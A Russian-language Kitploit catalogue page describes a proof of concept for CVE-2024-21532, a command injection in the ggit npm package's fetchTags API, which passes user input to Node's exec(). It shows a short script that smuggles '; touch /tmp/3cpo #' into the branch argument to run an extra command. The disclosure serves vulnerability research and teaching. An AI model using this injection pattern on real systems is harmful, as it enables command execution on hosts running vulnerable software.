Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21532-PoC-ggit — Эксплойт-концепт для CVE-2024-21532, уязвимости внедрения команд в API fetchTags npm-пакета ggit, демонстрирующий небезопасное использование exec(). | Kitploit
Инструменты/GitHubGitHub/lirantal/cve-2024-21532-poc-ggit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и Образование
GitHublirantal/cve-2024-21532-poc-ggit

CVE-2024-21532-PoC-ggit

Эксплойт-концепт для CVE-2024-21532, уязвимости внедрения команд в API fetchTags npm-пакета ggit, демонстрирующий небезопасное использование exec().

Репозиторий
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-21532: уязвимость внедрения команд в ggit

ggit описывает себя как:

root@kitploit:~
Local promise-returning git command wrappers

Ресурсы:

  • Исходный код проекта на GitHub: https://github.com/bahmutov/ggit
  • npm-пакет проекта: https://www.npmjs.com/package/ggit

Статья об этой уязвимости: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

Предыстория эксплуатации

Я сообщаю об уязвимости внедрения команд в npm-пакете ggit.

Эта уязвимость проявляется через API fetchTags(branch) библиотеки, который позволяет пользовательскому вводу указать ветку для получения, а затем объединяет эту строку с git-командой, которая передаётся небезопасному API exec() дочерних процессов Node.js.

Эксплойт

  1. Установите [email protected] или более раннюю версию.
  2. Создайте следующий POC:
root@kitploit:~
const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
  // should be same as running command
  // git pull origin --tags
  console.log("done");
});
  1. Обратите внимание, что на диске появился новый файл /tmp/3cpo.

Внесение вклада

Пожалуйста, ознакомьтесь с CONTRIBUTING для получения рекомендаций по внесению вклада в этот проект.

Автор

Liran Tal

Скачать инструмент